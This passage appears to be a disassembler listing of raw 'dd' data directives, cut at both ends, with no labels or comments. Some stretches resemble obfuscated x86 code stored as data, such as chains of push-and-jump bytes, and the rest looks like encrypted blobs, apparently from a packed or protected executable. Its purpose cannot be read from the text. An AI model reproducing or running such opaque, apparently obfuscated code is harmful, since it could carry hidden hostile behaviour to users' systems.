933AAA1Ah, 2E8735ADh, 0A40DAF10h dd 11B82C9Ah, 1573E933h, 0CD3806AFh, 2180BE17h, 0B72C12BBh dd 84E0A40Dh, 0E6B7601Bh, 8D3F69C2h, 0A6ED64Fh, 9B3D0178h dd 9DCBB92Bh, 0D34A0239h, 6E3FD95h, 7364E86Bh, 5DC2A687h dd 0CF7453CBh, 0AC923B1Ah, 68288D37h, 9E7BA885h, 5779307h dd 11730000h, 0C83C02ABh, 178BB51Ch, 0CD320CA5h, 8EF8C66Fh dd 0D35D7FD6h, 0EC45FF69h, 58F173D2h, 0E841FB66h, 5EF76DD6h dd 3AE17E1Ah, 93C2E6B6h, 0D64F77C5h, 5CC9F76Eh, 146F71E8h dd 5FB82D0Ah, 5B5BBABBh, 0A801203Ch, 0D292F2CCh, 14226A4Bh dd 1F48EB0h, 6ED64F71h, 0CE9ED6F7h, 30h, 129B377Ch, 0A123E976h dd 4B6ACF74h, 1988B6D2h, 531B3AA3h, 0EC8809CCh, 26F08BC2h dd 0B0A765C1h, 0AFC8BAFBh, 91D06166h, 39792961h, 0CB000000h dd 76129B37h, 2C64D848h, 0E275D748h, 0D5F4CF74h, 5DA7D5B1h dd 1750C9FDh, 3FA799D1h, 5B32C85h, 8CC2EC92h, 3A04AD17h dd 0B61B49CAh, 88D11BCFh, 0B2A430A9h, 16000004h, 76129B37h dd 74AD33E9h, 22BB9ACFh, 0A43DA71Ch, 0D58A94EFh, 0F094F03Dh dd 76EF55CEh, 0FD64D848h, 2AB5FDDCh, 0C9309470h, 0EFD17859h dd 1157CE76h, 0CF503481h, 0CF74AE15h, 0E72898A6h, 986A427Ch dd 0B6FEDFA8h, 4678E1C0h, 0C1FF66DEh, 0E967FE66h, 0CCB48892h dd 158E6BB7h, 5C6206AFh, 420264E9h, 0C56D2B63h, 0FC6AEF57h dd 0D1F0D148h, 0EF576948h, 42305475h, 0F04EA5A6h, 5F0560CCh dd 8EC6E7C6h, 0F8FC8EEAh, 2C88D09Ch, 0B20C93DBh, 1C93073h dd 0E7E96373h, 7C5DC480h, 9519060Eh, 138AABDDh, 950CB82Dh dd 0D78C96EDh, 996F23Bh, 0CF74A0B7h, 15C73A04h, 0A30A2B5Dh dd 25BC289Dh, 59037F41h, 97A9E1C0h, 8A3AAC31h, 73BDCFABh dd 0E7D5CF03h, 0AD930A42h, 211F8636h, 0CD861FC5h, 0DB906CB6h dd 2C9976A0h, 0BB5711B8h, 6A4BF96Dh, 910E6A0Eh, 0C2EC1DEAh dd 158AC2E3h, 0C930386Fh, 0E8D64F6Eh, 93ADC97Bh, 63FAB232h dd 21B6601Bh, 0FF600491h, 0CF744245h, 993EA896h, 0A93B22Ah dd 1E4AF16Eh, 0A283C2ECh, 0CFBDCB83h, 0F900A48h, 0C2EC0D4Ch dd 3D2E5C7Dh, 94E9BF42h, 0C8F76F45h, 92ACC8E9h dd 6FC68E2Eh, 0E970F451h, 5FF66ED7h, 0E6F7919h, 3B1E08C9h dd 21FCBD2h, 337FA070h, 0D7487612h, 798FC65h, 0C2EBAA54h dd 4B755475h, 0DCFD64D8h, 756FF094h, 0D4C92FCBh, 0D825ECA6h dd 3B1A4FB7h, 7E7A3DA2h, 17AC930h, 99D43015h, 6B5501F4h dd 500048FCh, 6Ah, 419B37E2h, 41B07112h, 91F5D4D9h, 74936C0Eh dd 853D4FCFh, 0EB6111Fh, 74C4B697h, 0F187CF23h, 0CFEE56CFh dd 620EC956h, 91F7C2ECh, 10744AD3h, 58F56A54h, 0C15879EBh dd 827AA4DFh, 0DD3A1C5h, 7CE85D96h, 43B6C4E5h, 0F666DD07h dd 516F4E6Fh, 7D064EF6h, 0E57A1EB1h, 0C2EC0236h, 0C8FEB697h dd 0FBB0215Ch, 0DF99h, 0D64F2B00h, 5FC9F76Eh, 0E1427CE5h dd 5FC4FA63h, 4ED785FAh, 0A7BB1D6Fh, 5F240257h, 58681A7Eh dd 0E6E3C818h, 38A70E46h, 0C92FA5F8h, 0F55C087Dh, 8B39AF91h dd 0DC88FDC3h, 756F0345h, 0D6B6886Ch, 305475A7h, 593BB342h dd 551D13BCh, 0F66B5531h, 0EC75EF59h, 3BA4ECCDh, 0CF73B8A5h dd 0AAEC4564h, 74EB8F06h, 0C9326177h, 95F195B4h, 11883CABh dd 940DB72Fh, 0E2DC94B5h, 5769C084h, 0F2A936F1h, 93C92E1Fh dd 0A2BB232h, 0FE635D7Ch, 8CDA7F5Eh, 7A7DEEB2h, 21777E3h dd 71D30000h, 0E85C62CBh, 77EBD57Ch, 0ED526CC5h, 6ED8E64Fh dd 0B37D5FF6h, 0CC65DF49h, 78D193F2h, 0C861DB46h, 7ED78DF6h dd 1AC15E3Ah, 0B3C2E6B3h, 0D94F57E5h, 31B3102Eh, 631689A8h dd 64C93094h, 0F3CD6445h, 0C97BD292h, 76129B37h, 749F53E9h dd 53CCA8CFh, 0C2EC89A8h, 3E480021h, 5E19861Fh, 27C2EC89h dd 0A39D04C0h, 6C069F45h, 76310B17h, 0C83C210Dh, 6DFBB0A8h dd 0CAh, 6ED64FDFh, 0E55FC9F7h, 0E37C187Ch, 0C9309438h dd 61F86CD9h, 5F173640h, 309890C0h, 0A42085C9h, 0AB1B690Dh dd 223643ADh, 88FDC38Bh, 1F2145DCh, 80A138A4h, 0ABE28EC8h dd 0B3CE50CFh, 2E0FCF74h, 0B731C187h, 3EA5771Dh, 71BEC9Eh dd 3D036746h, 45681ACAh, 1C71BB3Ah, 25BADE96h, 0C932ECC9h dd 0C1D77604h, 3D188425h, 0DD46781Ch, 754B2F67h, 70D54E13h dd 0E8715014h, 7F41E8C9h, 0A2FE5B09h, 687DEE0Fh, 11365F1h dd 75EF0000h, 0F4506EC7h, 7BE7D970h, 0E95668C1h, 82E4DA73h dd 0DF496BC2h, 0F0590B7Dh, 44ED57CEh, 0FC55077Ah, 4AE361C2h dd 46F56A0Eh, 87C2E6B2h, 0D94F63D1h, 87FCC26Bh, 2087B9DDh dd 541C3DA4h, 0D64F4FFDh, 0F793F76Eh, 3094B168h, 733B1AC9h dd 0C56CD84Dh, 0E0F5EF83h, 63912A62h, 0F99DF9D8h, 81FE5BC7h dd 2DB2FADBh, 0CF79B2ADh, 11CB340Ah, 6A0E2F59h, 31EA910Eh dd 0C2E3C2E7h, 0B82D138Ah, 930C680Ch, 0C2E731E8h, 2188C0E1h dd 0A73EA61Fh, 9704D938h, 394B2FCCh, 70EB0017h, 67D35ECh dd 6517651Ch, 0C98171EFh, 0FF645A12h, 77DC9F00h, 3EA5B94Ah dd 0E8C9E89Eh, 41067F41h, 48533E4h, 0D43D5349h, 734DD4F5h dd 4F37AE0Eh, 980DEA34h, 8B12D233h, 76EF4DB5h, 0DC487657h dd 132D4968h, 88A930B4h, 7F0D69C0h, 804ADDECh, 0D587F898h dd 2182BCF4h, 652BADF0h, 49D63FFAh, 0DBA988B9h, 0D2F32C8Eh dd 0BDF4Bh, 496D0000h, 2DB2132Dh, 6F2706B6h, 67D54FDDh dd 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch, 0E361C7F9h dd 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 0EC81EDFAh, 4, 57241C89h dd 0C781E789h, 4, 4EF81h, 3C870000h, 4895C24h, 104E6824h dd 2C890000h, 4AE66824h, 0C890000h, 0D89CB924h, 0C8890649h dd 2C8B5459h, 4C48124h, 53000000h, 8BBh, 52EB0100h, 1389C289h dd 34FF5B5Ah, 0C4815D24h, 4, 5124048Bh, 0C181E189h, 4 dd 8704C183h, 0E95C240Ch, 0FFFA9ACEh, 1A043F6Ah, 0B8DB5A24h dd 63863F5Ch, 0D8B8BD3Ah, 30649E3h, 50E0FFC5h, 1D7055F7h dd 5D3A7934h, 21362E2Dh, 21389C11h, 3D1218DDh, 507B83C1h dd 65B0280h, 0B802F02Fh, 2135DA33h, 0F6077440h, 3A48050Ah dd 0D2538E61h, 0D31E8B75h, 0AD4040BCh, 6630C37Fh, 0D6194F46h dd 0EB49FF7Dh, 24h, 8 dup(0) dd 0BDE900h, 0B5890000h, 649E4A7h, 2F11858Bh, 858B0644h dd 6440F6Dh, 0E4F1B58Dh, 858D0649h, 64740A2h, 55C3D0FFh dd 0E8h, 0ED815D00h, 649E4F7h, 2F11BD83h, 0F010644h, 2C85h dd 0A7B5FF00h, 8B0649E4h, 440F6D85h, 27363506h, 0D0FF3481h dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h dd 49E4ABB5h, 0B5FF5606h, 649E4A7h, 0F6D858Bh, 36350644h dd 0FF348127h, 0CC483D0h, 0E4ABB58Dh, 468B0649h, 4E08314h dd 0F04F883h, 784h, 0E9C03300h, 5, 1B8h, 11BD8300h, 106442Fh dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h, 49E4D085h, 0F5858906h dd 0E8064420h, 0Ch, 10CD591Bh, 1BABB1AFh, 0E8C5923Dh, 0F68166h dd 0C0815833h, 5CDEh, 68F78B66h, 0 dd 99BE6657h, 8B5A5E74h, 0BE66103Ch, 0F78193B8h, 20001670h dd 9278E681h, 0F78144D9h, 317EFD74h, 41BA6660h, 6147B21Bh dd 8C99EF81h, 880F510Dh, 4, 5E0EB756h, 66103C89h, 0D9F8DB81h dd 0EA817FB1h, 2EE96BD2h, 0E17B36BEh, 0CEC28109h, 0F2EE96Bh dd 0FA81F7BFh, 0FFFFA3A0h, 0FFA5850Fh, 8D8DFFFFh, 649E712h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 89C35747h dd 0CA93B992h, 60C690C5h, 6196D280h, 1BEDBD8Bh, 9560644h dd 44102985h, 8D895806h, 6442F5Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 82C35040h, 0BF0FF36Ah, 18E0FC3h dd 0FC000000h, 67985C7h, 68E40644h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0D353B7C3h dd 26AA5F7Ch, 3652BF4Eh, 85C74F9Dh, 6441071h, 0 dd 7E8h, 7A588600h, 0DDA1DF3Bh, 3F9BD89h, 295F0644h, 4406BD95h dd 71B5FF06h, 6A064431h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0CB72C351h, 0BF995FFh dd 0B70F0644h, 0FF006AD8h, 441C4D95h, 0EBC08B06h, 4B81F12Ah dd 29093CF6h, 0A0E49E61h, 0E25E7C44h, 0D9299189h, 0C59E90CDh dd 0BC1602ECh, 11F3FB98h, 6A1E0D21h, 577B0A07h, 0EB98F354h dd 78AC308h, 40000040h, 0C32E902h, 0F5680000h, 0E90649E8h dd 0FFFB6114h, 49E9F168h, 610AE906h, 4768FFFBh, 0E90649EBh dd 0FFFB6100h, 49EBFD68h, 60F6E906h, 0DF68FFFBh, 0E90649ECh dd 0FFFB60ECh, 49EE7868h, 60E2E906h, 0E68FFFBh, 0E90649EFh dd 0FFFB60D8h, 49F09568h, 60CEE906h, 0E568FFFBh, 0E90649F1h dd 0FFFB60C4h, 66344F8h, 0D8BD9A25h, 36641FBh, 0D9BC9B20h dd 56047FAh, 8D306911h, 52ECCFAAh, 8A331075h, 53EBC8ADh dd 0F3901174h, 6224E157h, 0E281D631h, 7BA138ACh, 58ED967Ch dd 0CDEA52DFh, 0DF69CDAEh, 0E0372BC3h, 0D1F2C97Ch, 12B4E69h dd 0B89F225Ah, 0E0831F83h, 3A1DA083h, 8F399D01h, 5E372BC3h dd 2BC34CFAh, 62EF7337h, 4B284BFEh, 6EC93505h, 0A6C50F9Ch dd 2B58B402h, 0A2178B37h, 0E73B7906h, 4724B83Dh, 7F368024h dd 9509316Fh, 15BF1B20h, 0FF316F7Fh, 57761E5Eh, 3577F22Bh dd 2Dh, 0C7A05BB2h, 0B6D700A4h, 0F66A3DE7h, 69CDAECDh dd 316FC8DFh, 5E79C3E0h, 79D377C2h, 93316FC8h, 0E30A0A32h dd 4977F2DFh, 0C2h, 0CDEA52CEh, 14338DAEh, 4B99AA1h, 833B1823h dd 4BC9FA4h, 0DD634023h, 59E2C1FAh, 3257E27Eh, 2BCCE996h dd 865EE637h, 2BC69422h, 0AB37AB37h, 7156EBC8h, 663D64Ah dd 81BA9D25h, 5E79C1E2h, 5D1AC1EBh, 0C37E5D3Eh, 52F551E4h dd 853DE7CBh, 0A3567C19h, 0F40DA9CAh, 373BA123h, 53EBC8ABh dd 0C1ACCEA6h, 0F16DE00Ch, 80E356CAh, 5C391EA3h, 77E5C27Fh dd 5D6EC8A4h, 0C5EF6A51h, 0A7000009h, 7A593C1Bh, 0A487E2C5h dd 7F5C391Eh, 0A586E3C4h, 4E5A3F18h, 89AE138Ah, 5671CFECh dd 8EA91033h, 5770C8EBh, 74D0B332h, 31622BC2h, 5225A2F5h dd 8EADC8EFh, 11721136h, 2BC303B5h, 1DA83437h, 0A05BFF78h dd 3D87A4C7h, 8BD211Ah, 0B618CF6Bh, 0D2F13DE7h, 6A4DF46Ch dd 52CE43F6h, 0C867CD69h, 0EE8D316Fh, 255B76A0h, 0B60303E2h dd 22DE717h, 6E77F265h, 0BCh, 8F3112E9h, 2C0F93A8h, 1488B394h dd 1D3A82A1h, 9FB80526h, 0CC7F00A4h, 0D46C372Bh, 0DB596F3h dd 803B112Ah, 0C64AFC58h, 4E6D372Bh, 0D14DD1F6h, 0DA2F91B2h dd 18E49351h, 70C559ABh, 9110B713h, 0DB473DE7h, 4F93DDBEh dd 94B30D86h, 0EA12F4DAh, 0D34F7453h, 29D0FA4Fh, 24C2F4Ch dd 93DF73ACh, 13AD8E12h, 26930F34h, 0A1B96A82h, 3251CD3Bh dd 0EE8BAC11h, 0C55770CDh, 5D6F592Ch, 0C90386BDh, 0A3000008h dd 7E5D381Fh, 0A083E6C1h, 7B583D1Ah, 0A182E7C0h, 4A5E3B1Ch dd 0F5D26F8Eh, 2A0DB390h, 0F2D56C4Fh, 2B0CB497h, 8ACCF4Eh dd 31622ABEh, 5251D681h, 8EADC8EFh, 0F3741136h, 0F6CDEA52h dd 2F4A6DD5h, 0FA995605h, 0E7B9E15Eh, 0B40D2E3Dh, 37AB2693h dd 0B0972F0Ch, 964EF6D5h, 6FD98432h, 0BB27BB31h, 0B4EF2480h dd 2C4FB8A1h, 0AE8CFB62h, 0A015E5CCh, 9D25DD01h, 33758068h dd 95B64D53h, 0AB370C2Bh, 0C9715237h, 54C8EF51h, 3A60CB6Fh dd 56E9BAA1h, 0D7694A71h, 4FEECBF0h, 2B8AA80Fh, 0AC8B33F3h dd 0CA52EAC9h, 0F3C85473h, 0A13AF857h, 639B3ABAh, 0E1EE1BA3h dd 0CFD9ACE2h, 0B32F08B5h, 0A294A2Fh, 33AF94B3h, 3D88AF10h dd 0BA81A61Eh, 6F0CE990h, 6DEAC8CBh, 1673EFB0h, 0C3A07D3Ch dd 59E0C3A0h, 7DD9457Eh, 0A4E5A8CBh, 0E4DFF842h, 0DC69F578h dd 29F9C378h, 417AE6AEh, 4ABF0122h, 0A9D4DA21h, 0A3168A29h dd 39A3AC07h, 0B7E746ADh, 2486B2DDh, 4369EE4h, 0D5190000h dd 372BC363h, 2BB3D77Dh, 0DF4BD937h, 0EF45372Bh, 6F372BD7h dd 0B390F3ACh, 88142F08h, 1E3D5E3Dh, 0A4833BA3h, 0A49F039Fh dd 0A6298D38h, 0C93DE783h, 2260C755h, 8EB557A0h, 7730Bh dd 8EA91500h, 5077C8EBh, 8BAC1635h, 5176CDEEh, 8DAA1734h dd 0DD3CFCE8h, 1224760h, 0DEFD98BFh, 6254067h, 7DFC99BEh dd 280CBA1Eh, 64333162h, 0CDEA52E3h, 401DDCF6h, 0EA768723h dd 0E2C13DE1h, 0B81C7F58h, 31622B0Eh, 5431AD31h, 0E19868FCh dd 50C36704h, 673BAE26h, 0B5FB98FBh, 0D08A9639h, 43F55171h dd 743BA6FBh, 70D45DE8h, 4A47BF85h, 0E0835C1Fh, 9BCF344h dd 615AC686h, 73C56102h, 44F519BEh, 0C4FFD867h, 3A7C458h dd 0F519BEB5h, 89A3168Ah, 3314AAD2h, 6B089408h, 0D5FBD8CFh dd 2043DFFFh, 0F99CBB03h, 0D74562DAh, 9992DA6Ah, 0BD61E4DFh dd 0AF000006h, 72513413h, 0AC8FEACDh, 77543116h, 0AD8EEBCCh dd 46523710h, 0F1D66B92h, 2E09B794h, 0F6D1684Bh, 2F08B093h dd 0CA8CB4Ah, 316228BAh, 12AD2A7Dh, 94AF8831h, 112A0DB7h dd 8EA4118Dh, 0D57112CBh, 3DE7B96Ah, 89EAD14Dh, 143710AAh dd 183B8EA9h, 9FBC87A0h, 794BD520h, 0E55A84F8h, 0DC614279h dd 7A3C0FBh, 316F14B1h, 0F3521A86h, 4F2C64CBh, 373A2901h dd 894AF88h, 2BF54646h, 0EFF3F9Eh, 55F1924Bh, 3BA33EEAh dd 113251CDh, 593C89AEh, 0A36257FDh, 7BD9E3Bh, 32871B20h dd 0A3622096h, 0D49AF93Bh, 1F994DEAh, 9C2A8E71h, 0A33BA3BBh dd 0F9A08A3Fh, 5F3C5F3Ch, 0A3BB4DFBh, 5BEE723Bh, 69920EFFh dd 8EB52931h, 0F99C9B2Ah, 9C1EB725h, 2F9725F9h, 3D519A08h dd 0AF944336h, 5DB2Ah, 16318D00h, 0C8EF5073h, 13348EADh dd 0C9EE5576h, 15328FACh, 45B46470h, 99BADFF8h, 46650027h dd 9EBDD8FFh, 0E5640126h, 2F942286h, 0FCAB3162h, 0C7A05B7Bh dd 1A3D87A4h, 8CAFCCAFh, 0B12D1631h, 0EA51A004h, 78E43DE1h dd 0FFD86043h, 5306B09Ah, 0D4F34B68h, 0B22A92B1h, 8DB62A0Dh dd 0A3116AEh, 0AD558928h, 66573215h, 77ED0347h, 17E25h dd 0A05BA200h, 300A4C7h, 363DE7B0h, 178BAC15h, 0D33C882Ch dd 9A8316Fh, 0B87524D5h, 6443F8DBh, 1576C35Fh, 7B11576h dd 0D6316FD3h, 6FD3C472h, 0EA67FB31h, 6467C376h, 933BA3A0h dd 0F1496A0Fh, 72D6B5D6h, 3BA3E3C4h, 0E9D267FBh, 305572CAh dd 0E5865F1Ah, 645F78C6h, 8A2E4DF8h, 316F80F5h, 3793A834h dd 25E7829Dh, 0EEA6D677h, 6B6AA5BFh, 36ADh, 0A05B2A00h dd 0D700A4C7h, 6A3DE7B6h, 0C81BAD09h, 801C316Fh, 2983271Ch dd 0C3316FC8h, 46083A62h, 12DCAD21h, 5176CCDFh, 0DF6AF66Ah dd 0F23FBFEEh, 0C0AD77h, 522A0000h, 0D5F6CDEAh, 6F48F068h dd 69523A21h, 49D5C194h, 365F1172h, 0A81AF939h, 0F5D2684Bh dd 0C4E752CEh, 76385B7Ch, 0FFC2DC6Fh, 0EED5606Eh, 9AD75CDh dd 372BDABFh, 8FB4932Eh, 9E029E13h, 0D5205FFBh, 11A9372Bh dd 0C2795336h, 41E586E5h, 372BDEF7h, 77FADD66h, 0BF18A5EBh dd 4ECADB8Bh, 523C98FBh, 0F53DE5FAh, 4A690A69h, 4665D0F7h dd 9AB9DCFBh, 93920027h, 8657A31Fh, 44238BDh, 962A0000h dd 48F7D4B1h, 93290A6Fh, 49F2D1B4h, 95280B6Eh, 17C3D7B2h dd 197C5BE6h, 0C6A3843Ah, 1E7B5CE5h, 0C7A2853Dh, 37812546h dd 831622Dh, 0EF52D85Fh, 368EADC8h, 0E8517211h, 0DD68F4CFh dd 0EA523FB8h, 0B695F6CDh, 6C6FF80Dh, 0BC4DBBC2h dd 0EB69520h, 0D5CB4C29h, 372B437Fh, 2B43DB71h, 78A05B37h dd 0C8B435C0h, 5784CA0Fh, 903457CBh, 3DE1E561h, 597348D4h dd 2A6C5A2h, 3BAE512Dh, 932581E2h, 0A43BA5D2h, 9C008D38h dd 6A73110Eh, 0AA2F145Dh, 3ACh, 0A2C7E05Ch, 7C193E81h dd 0A7C2E55Fh, 7D183F84h, 0A1C4E35Eh, 299405B5h, 0F6486B0Eh dd 2E97B4D1h, 0F74F6C09h, 5734B5D0h, 622C45F3h, 0AA2D7A31h dd 0F6CDEA52h, 2F4A6DD5h, 0FA995605h, 0E7A0215Eh, 0DA4E003Dh dd 6542F874h, 8C825D2Bh, 0A93512AFh, 7651E9CAh, 0F65CF8C3h dd 1C316FB7h, 0C5E25C7Fh, 0E7ADD170h, 77F272C8h, 3CA4h dd 0A05B2300h, 3987A4C7h, 0CB9251Eh, 0B61CCB6Fh, 233DE7h dd 38039FB8h, 5AF2155Bh, 0F5B47481h, 324EE440h, 5A4316Fh dd 272769D9h, 96AC98C8h, 7699A81Dh, 0DA77F2D9h, 131h, 32EA525Dh dd 0A026117Ch, 1EBAC139h, 372B8BA8h, 0EC8F138Fh, 8B9D2B8Fh dd 3EA2372Bh, 0BB80A71Dh, 8AA99227h, 82B1037h, 97F497B0h dd 2B8B8533h, 66927937h, 47322621h, 0D8E356CAh, 16443FBh dd 2BB4DAA5h, 6C4BF337h, 0D952C0Fh, 30AC97B0h, 0BE0B97ACh dd 0D840F8DBh, 0E5DE4265h, 30530CCFh, 0E7DC4794h, 0B6EF23Dh dd 0B4712668h, 6E56232Ch, 3C72C7EDh, 61E598CEh, 12C6D2DAh dd 0A88237ABh, 345734F1h, 6FBA2690h, 30851931h, 5197F753h dd 0A3C03BA1h, 0A0E1B107h, 0F18F453Bh, 0BEA7B544h, 68CCAF33h dd 3BA090DEh, 82E17DE1h, 73C1BA1h, 2E4D2E9Bh, 905FE94Dh dd 0FC603BA0h, 0F04562DFh, 829B6ED3h, 0C7E058B0h, 0AD2E60FCh dd 0CBAE3217h, 0E07255E8h, 5D6FC0F5h, 25A2271Ch, 0C7000002h dd 1A395C7Bh, 0C4E782A5h, 1F3C597Eh, 0C5E683A4h, 2E3A5F78h dd 0A98E336Ah, 7651EFCCh, 0AE893013h, 7750E8CBh, 54F09312h dd 316233E2h, 520582D5h, 88ABC8EFh, 0C1A41136h, 26825AE2h dd 372BC390h, 0C2A73BA7h, 1A3D82A1h, 9EB90221h, 10A539A5h dd 0C7A05B97h, 0A53D87A4h, 9A063D1Ah, 14A13D06h, 0B604D377h dd 753B3DE7h, 0FA40BF96h, 36C193DDh, 0FCDFBC20h, 4265DB43h dd 0CC79E579h, 0EB794F7h, 92389C29h, 78316F80h, 0C0EFA5D9h dd 8D77F2A7h, 863314AEh, 0F9C4h, 0EA524300h, 0C3209632h dd 0B9372Bh, 1536AA27h, 2CB08BACh, 0A6E88BB0h, 0B11749Eh dd 0FCDF6A3Ch, 0F95D6641h, 372B8286h, 0FD98BF07h, 7BE6D09Eh dd 0CBB96A95h, 0C2E55D7Eh, 0E03882A1h, 2B8FF244h, 0C559C537h dd 0ECD762FEh, 395A13C6h, 0E7ED4E9Dh, 1675E93Dh, 0F4508835h dd 316FAC42h, 4E75E975h, 0F4279CD2h, 0F415734Ah, 4B0E2441h dd 5455F192h, 873BA1B0h, 551B781Bh, 440B5A78h, 3310A5EEh dd 8AAD168Eh, 0B2167516h, 3BA05F04h, 0F08A41F8h, 139EB1FDh dd 3C5F3A8Fh, 3DB2115Fh, 50AED1C1h, 0A0FE42F4h, 5CE9753Bh dd 77E5C27Fh, 5D6F5F94h, 0D53FBA81h, 0B7000000h, 6A492C0Bh dd 0B497F2D5h, 6F4C290Eh, 0B596F3D4h, 5E4A2F08h, 0F9DE639Ah dd 2601BF9Ch, 0FED96043h, 2700B89Bh, 4A0C342h, 316232B2h dd 5255D285h, 0C8ABC8EFh, 2BC3DA6Ch, 0F441DD37h, 2D0AB291h dd 0EA52CF48h, 6DD5F6CDh, 0EE4A294Ah, 372BC358h, 1376C35Fh dd 0C6A58239h, 0E1EA9762h, 0D36AA3Dh, 1FA90D6Eh, 20316224h dd 5BC4F2BCh, 0DE76477h, 4239BB8h, 0DDFA4261h, 0E86042E6h dd 3392FB94h, 9C385B0Bh, 7BB3E92Ah, 0A182EECEh, 7EF3C572h dd 0CC7457E2h, 0D9C688EBh, 0D49694B7h, 0C2F4AFFh, 0B4932CB4h dd 910D2A97h, 4C6BD1F2h, 655EEB77h, 0E1DAFD46h, 42FAD9BAh dd 4D71D065h, 0AFCAED55h, 2813348Ch, 0BADh, 56EDCE00h dd 0CE5275CEh, 60E7FC7Bh, 0F2C9EE52h, 754E69D1h, 0F3C8EF56h dd 72496ED0h, 0F0CBEC51h, 72496ED3h, 0F6CDEA51h, 73486FD5h dd 0F3C8EF50h, 0E6895670h, 4C681h, 0EE810000h, 4, 5C243487h dd 68243C89h, 7861h, 51243489h, 0C181E189h, 4, 4E981h dd 0C870000h, 3C895C24h, 0EDBD5524h, 811F7D64h, 4D782BC5h dd 81D5F75Fh, 422681F5h, 9FE58115h, 8155C949h, 0F36FCFCDh dd 25ED8147h, 8951A988h, 8B545DEEh, 0C483243Ch, 0BD555604h dd 2F4C19F7h, 4246C31h, 8478F5Dh, 0F7087781h, 0FF2F4C19h dd 835F2434h, 348B04C4h, 0E0895024h, 405h, 4C08300h, 5C240487h dd 0FB54F7E9h, 90AF49FFh, 4B567200h, 0EDE4E18Dh, 49F2DFB8h dd 0FFC50306h, 1469F3E0h, 1F330140h, 6137AB25h, 0D0D18B10h dd 1B92686Dh, 0B57E0F74h, 32828471h, 64E1A414h, 9B6ACF29h dd 0BF90D667h, 0BA669D16h, 0C7B44405h, 0B28D8D3Ch, 6A0649F4h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 5611C351h, 5DEB8168h, 89716C1Ch, 442F5D8Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 7492F2C7h, 16C9B509h, 85C70644h, 6440679h dd 6D98h, 1D619D89h, 85C70644h, 6441071h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CEC35343h dd 0FF82FAC0h, 44196DB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 9EE43CE3h dd 4DBD8BF1h, 0FF064431h, 440BF995h, 14E906h, 0EF9C0000h dd 0A74630E2h, 0CE416558h, 7624D5Ah, 0A3692372h, 12E9385Ch dd 1E000000h, 0B59998BAh, 6F4C1E57h, 108E7FE5h, 0D3797AA6h dd 0FF006A22h, 441C4D95h, 0EBC08B06h, 3414B36Ah, 6E6704EAh dd 0EF2AC73Dh, 5961AA80h, 0ACC1C05Bh, 0C18F3497h, 46064661h dd 3CB83BADh, 7DA6EDEBh, 0F99C8168h, 263002CEh, 0FED542D4h dd 4001061Bh, 0ECB71025h, 6D1A1F14h, 3D52A2AEh, 8639CC3h dd 0F23D3B50h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh, 7DF7488Fh dd 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh, 0E982738Ch dd 0ABh, 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh, 4592B395h, 0B395A1F4h dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0E80097B3h dd 94E7A601h, 7483323Dh, 0E921D886h, 1226h, 49F77968h dd 8938E906h, 6F68FFFAh, 0E90649F8h, 0FFFA892Eh, 49F97368h dd 8924E906h, 0DD68FFFAh, 0E90649FAh, 0FFFA891Ah, 49FB4E68h dd 8910E906h, 0D668FFFAh, 0E90649FBh, 0FFFA8906h, 49FC9D68h dd 88FCE906h, 5168FFFAh, 0E90649FDh, 0FFFA88F2h, 49FE0668h dd 88E8E906h, 4868FFFAh, 0E90649FFh, 0FFFA88DEh, 4A004668h dd 88D4E906h, 0DF68FFFAh, 0E9064A01h, 0FFFA88CAh, 4A02FA68h dd 88C0E906h, 0B168FFFAh, 0E9064A04h, 0FFFA88B6h, 4A057B68h dd 88ACE906h, 0C123FFFAh, 188CB21Bh, 0C73B05ACh, 1D82BC15h dd 0BE2816BFh, 0A38DAF06h, 3C954FB9h, 8821A302h, 38914BB6h dd 8E279D06h, 8A31AECAh, 43C2E69Eh, 0D64FA715h, 5CC9F76Eh dd 77E88CE8h, 0C93094C4h, 0C56C2405h, 0C2A6EF83h, 74B5675Dh dd 2394E6CFh, 0A402AD32h, 8C138AABh, 0C2EB9AC9h, 8166B0CBh dd 0FBAFB625h, 38CEh, 9B377C00h, 0DE487612h, 75540879h dd 34C6593Dh, 95CF749Fh, 3B22DB4h, 0F5C2EC89h, 0A08E391h dd 8FC260EEh, 8D72BCC7h, 0FBB06419h, 0CD6FD0EEh, 6D3D7554h dd 0A8h, 6ED64FDFh, 0E55FC9F7h, 63E1427Ch, 0E55FC4FAh dd 9A42BF81h, 2AE47BD2h, 23C93098h, 95AB02C2h, 0EED0B430h dd 7455CC78h, 4FE3A53Ch, 6F3DA2C6h, 0BECF7494h, 0E070369Fh dd 36AE3155h, 97C9333Bh, 7AECD2B6h, 56CF6DD5h, 56325677h dd 2DEB12C9h, 40DFBBC9h, 0C92DEB99h, 0C321332h, 0C66F2795h dd 73D68EF8h, 7DEE4A6Bh, 0C29C0891h, 3600000Fh, 87B910CCh dd 320CA51Fh, 0F9C76ECEh, 